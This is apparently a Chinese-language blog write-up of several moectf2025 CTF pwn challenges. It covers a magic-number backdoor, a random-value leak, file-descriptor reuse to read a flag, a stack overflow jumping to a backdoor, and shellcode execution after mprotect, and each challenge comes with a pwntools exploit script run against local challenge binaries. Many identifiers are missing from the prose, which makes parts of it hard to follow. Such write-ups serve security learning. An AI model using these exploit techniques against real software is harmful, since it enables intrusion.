2008 字
5 分钟
moectf2025_pwn_part.1(详细审计)
蒟蒻博主写蒟蒻(),感觉上学期学学的依托,于是打算借助回炉重造一下。顺便回顾一些以前没注意到的细节。
hellopwn




让我们输入一个整数,这个整数如果不等于的话就会直接退出,我们需要知道是多少。我们查看一下就会发现就藏在段上,的十进制就是,我们输入即可。

接着就会跳转后门函数然后泄露了。
from pwn import *
context(arch= 'amd64',os = 'linux',log_level = 'debug')
io = remote('127.0.0.1',40069)#io = process('./hellopwn/pwn')
io.sendlineafter("password.",b'114511')payload = p32(0xDEADBEEF) + b'shuijiangui'io.sendafter("give the answer.",payload)
io.interactive()ez_u64



中有和两个函数。主要是初始化,关闭输入输出错误流。用文件描述符选择了目录下的一个文件进行读取。后两个分别表示只读模式和创建文件时的权限模式(此时是打开已有文件,可忽略)。
如果打开失败的话,就返回并退出。成功的话就从中读取个字节,存储到的地址处,即无符号数。因此,被赋值成了一个位的随机数。最后关闭文件描述符 。
中首先初始化了。值得注意的是注释显示了是,这是的位置。后续我们也的确看到 ,也就是在段寄存器偏移的位置读取值然后存入,而这个偏移也就是的位置。
然后我们看到,也就是直接输出了的值(之前写入的字节随机数),不过要注意会直接输出原始字节,我们接收后需要进行转化(其实就是用)。
接着来了一个,让我们输入,也就是类型的无符号整数,然后存入的地址。(一般表示为字节,与一致)。下面就是判断和是否相等了,相等的话就可以了。最后的是一种保护机制,如果尝试栈溢出的话,与段偏移的值就会不相等,返回值不为,触发栈溢出保护终止程序。
由于中的,我们需要输入十进制的字符串(调用函数转换)。这里可以将字节的小端序二进制数据转化为为无符号整数(默认采用小端序,与架构保持一致)。
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
io = process('./pwn')#io = remote()
def itob(x): return str(x).encode()io.recvuntil('hint.')num = io.recv(8)b = u64(num)io.sendline(itob(b))
io.interactive()find_it


除了主函数之外还有一个,里面跟上次一样关闭输入输出错误流。不过这次我们要注意初始化时分配给了所以下面的用复制描述符时会从开始创建新的文件描述符。
复制而创建的新的描述符会指向跟原来相同的文件),会将这段字符串写入,然后打印出来。这里的,关闭了文件描述符,所以后续向的写入都会失败。(但依旧有效)
这里用了一个输入,我们看到后续调用使用到了这个进行打印输出,但是的描述符已被关闭,所以这里我们要输入代替。
第二个输入让我们输入一个字符串然后传入。我们看到后面紧接着就使用打开了这个文件,所以我们要输入我们想要打开的文件名称。(这里大体也看出来是要我们直接读入文件并写出我们的了)
这里还要注意一点,由于此前关闭了描述符,现在使用返回的文件描述符就是了,所以在后续第三次输入的时候,要让读入文件内容到全局缓冲区,我们需要将设置为,也就是输入。
所以也只需要发送三次相应的内容就可以了。
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./find_it/pwn')io = remote('127.0.0.1',36799)
io.recvuntil("Can you find it?\n")io.sendline(b'3')io.recvuntil("like to see?\n")io.sendline(b'./flag')io.recvuntil("its fd?\n")io.sendline(b'1')
io.interactive()ez_text



根据输出的提示我们已经可以知道这就是最简单的栈溢出了,有直接的后门函数(可以看到)。这里的让我们输入一个整数,然后将它传入到了里面。
在里面我们发现了,也就是说我们写入的就是可以写入的大小,我们根据后续溢出所需的字节大小再来决定究竟要写多少。(当然也可以无脑写非常大)
我们看到,这意味着字符数组的大小为字节,加上我们想要覆盖返回地址也是字节,所以要输入个字节来填充,接着跳转我们的后门函数就可以了。
注意这里还需要栈对齐(用一个)。栈对齐要求在调用的时候保证是的倍数,这一种的 调用规定,如果未对齐的话会触发保护性异常,导致程序崩溃。
所以我们需要的字节数是一共的字节。第一次输入的数字就填入或者更多即可。
from pwn import *
context(arch = 'amd64',os = 'linux',log_level ='debug')
#io = process('./ez_text/pwn')io = remote('127.0.0.1',39479)treasure_addr = 0x4011B6ret_addr = 0x40101apayload1 = b'32'io.sendline(payload1)payload2 = b'a'*16 + p64(ret_addr) + p64(treasure_addr)io.sendline(payload2)
io.interactive()ez_shellcode


代码很长,但是其实逻辑很简单。
我们看到使用了系统调用申请了一块内存。对应的数字分别表示:地址(,系统自动选择),申请地内存的大小(字节),权限(,即可读可写,但不可执行。),标志(,即匿名私有映射,不映射文件。
文件描述符(,配合)。
后面的判断是检测指向的内存空间是否有错误,有错误即返回。将指向的内存地址全部初始化为。然后初始化了,和。(在后续会发现是检测有没有修改申请地址的权限,而就是修改后的权限等级。)
让我们读入一个整数,结合后续的判断,会确定我们的(将要修改的权限)具体是多少。
这里的判断会不断读取字符,直到读取到或者换行符时才跳出循环,这是为了防止影响到后续的读入。
后续即为条件控制语句,当输入时会分别对应获取的权限为(只可读,只可读写,只可执行,可读写可执行)。当如输入的数字大于时,会跳转,并提示选择错误然后退出。不过有且仅有输入即权限为时,申请的内存段上才有执行的权限。所以我们需要输入,让我们后续输入的能够成功地执行。
会将指向的内存进行修改,如果修改失败会返回,并退出程序。
让我们输入我们的,我们直接使用生成的汇编代码即可。
这里的强制转换了的类型为无参数和无返回值的指针,并调用了该函数,即执行指向的内存段的代码。
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('127.0.0.1', 43645)#io = process('./ez_shellcode/pwn')
io.recvuntil("Choose wisely!")io.sendline(b'4')io.recvuntil('permissions you just set.')payload = asm(shellcraft.sh())#print("length:",len(payload))lio.sendline(payload)io.interactive() moectf2025_pwn_part.1(详细审计)
https://mkrari.cn/posts/moectf2025_pwn_1/